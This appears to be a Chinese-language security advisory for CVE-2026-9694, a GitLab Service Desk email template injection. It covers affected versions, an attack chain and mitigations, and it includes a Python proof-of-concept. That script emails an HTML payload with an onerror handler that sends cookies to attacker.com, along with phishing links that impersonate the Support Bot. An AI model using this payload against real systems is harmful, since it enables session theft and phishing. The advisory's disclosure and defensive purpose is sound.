CVE-2026-9694 GitLab Service Desk邮件模板注入漏洞

漏洞信息

漏洞编号

CVE-2026-9694

漏洞类型

邮件模板注入/内容注入

CVSS评分

2.6 低危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

GitLab CE/EE

漏洞概述

CVE-2026-9694是GitLab Community Edition(CE)和Enterprise Edition(EE)中的一个安全漏洞。该漏洞存在于GitLab的Service Desk功能中，由于电子邮件模板处理时对用户输入的中和处理不当，在特定条件下，攻击者可以冒充GitLab Support Bot并通过特制的Service Desk电子邮件回复注入任意内容。此漏洞影响从15.9开始到18.10.8之前的所有版本，以及18.11到18.11.5之前和19.0到19.0.2之前的版本。攻击者需要具备低权限（低权限用户或未认证用户），并且需要一定的用户交互才能成功利用此漏洞。虽然CVSS评分仅为2.6（低危），但该漏洞可能被用于钓鱼攻击、社会工程或传播恶意内容，因为受害者可能会信任来自GitLab Support Bot的消息。

技术细节

该漏洞的根本原因在于GitLab的Service Desk功能在处理电子邮件回复时，对邮件内容的过滤和转义机制不完善。攻击者可以构造特殊的电子邮件格式，利用邮件头注入或HTML/文本内容注入技术，在回复中嵌入恶意内容。当GitLab将这类邮件渲染显示给其他用户时，注入的脚本或内容可能被执行或展示，从而实现冒充Support Bot的目的。攻击场景如下：1) 攻击者向Service Desk邮箱发送包含特制payload的邮件；2) GitLab的邮件处理模块未能正确中和特殊字符和HTML标签；3) 当Support Bot处理该邮件并生成通知或回复时，恶意内容被嵌入；4) 受害用户查看邮件时可能看到冒充Support Bot发送的内容。由于邮件模板通常支持富文本格式，如果渲染时未进行适当过滤，存储型XSS也是可能的攻击后果。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者收集目标GitLab实例的Service Desk邮箱地址，通常为support-{project_id}@{domain}格式

STEP 2

步骤2: 构造恶意邮件

攻击者构造包含特殊payload的电子邮件，利用邮件模板注入技术在回复中嵌入恶意内容，可能包含HTML标签、脚本或冒充Support Bot的内容

STEP 3

步骤3: 发送邮件到Service Desk

攻击者将特制邮件发送到GitLab Service Desk邮箱地址，邮件会被GitLab处理并存储

STEP 4

步骤4: 漏洞触发

当GitLab Support Bot或管理员查看该邮件时，由于模板处理不当，注入的内容被渲染显示，可能执行恶意脚本或显示冒充内容

STEP 5

步骤5: 攻击成功

如果存在XSS漏洞，攻击者可以窃取会话cookie或执行操作；如果只是内容注入，可以进行钓鱼或传播虚假信息

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2026-9694 PoC - Service Desk Email Injection # Note: This is a conceptual PoC demonstrating the injection technique import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart def send_malicious_email(target_email, smtp_server, smtp_port): """ Send a crafted email to GitLab Service Desk that exploits the improper neutralization vulnerability in email template processing. """ # Construct the malicious email with injection payload msg = MIMEMultipart('alternative') msg['Subject'] = 'Re: Support Request' msg['From'] = '[email protected]' msg['To'] = target_email # Plain text version with injection text_body = """ Hello Support Team, Thank you for your assistance. --- Reply above this line --- [INJECTED CONTENT - Support Bot Impersonation] This message appears to be from GitLab Support Bot Click here: http://malicious-site.com """ # HTML version with potential XSS payload html_body = """ <html> <body> <p>Thank you for your help!</p> <hr/> <div style="display:none">  <script>alert('XSS via email injection');</script> <img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)"> </div> <p><strong>From: GitLab Support Bot</strong></p> <p>Your issue has been resolved. Please click the link below:</p> <a href="http://malicious-site.com">Verify Solution</a> </body> </html> """ # Add both versions msg.attach(MIMEText(text_body, 'plain')) msg.attach(MIMEText(html_body, 'html')) # Send the email try: with smtplib.SMTP(smtp_server, smtp_port) as server: server.send_message(msg) print("[+] Malicious email sent successfully") except Exception as e: print(f"[-] Error sending email: {e}") # Example usage if __name__ == "__main__": target = "[email protected]" smtp = "mail.example.com" port = 587 send_malicious_email(target, smtp, port) print("[*] Check GitLab Service Desk for impersonation")

影响范围

GitLab CE/EE 15.9 <= version < 18.10.8

GitLab CE/EE 18.11 <= version < 18.11.5

GitLab CE/EE 19.0 <= version < 19.0.2

防御指南

临时缓解措施

如果无法立即升级，可临时禁用GitLab Service Desk功能或限制其访问权限。同时，应对所有通过Service Desk处理的邮件实施额外的安全过滤，监控异常的邮件活动，并提醒用户对声称来自GitLab Support Bot的消息保持警惕，避免点击可疑链接。建议启用邮件安全网关对入站邮件进行扫描过滤。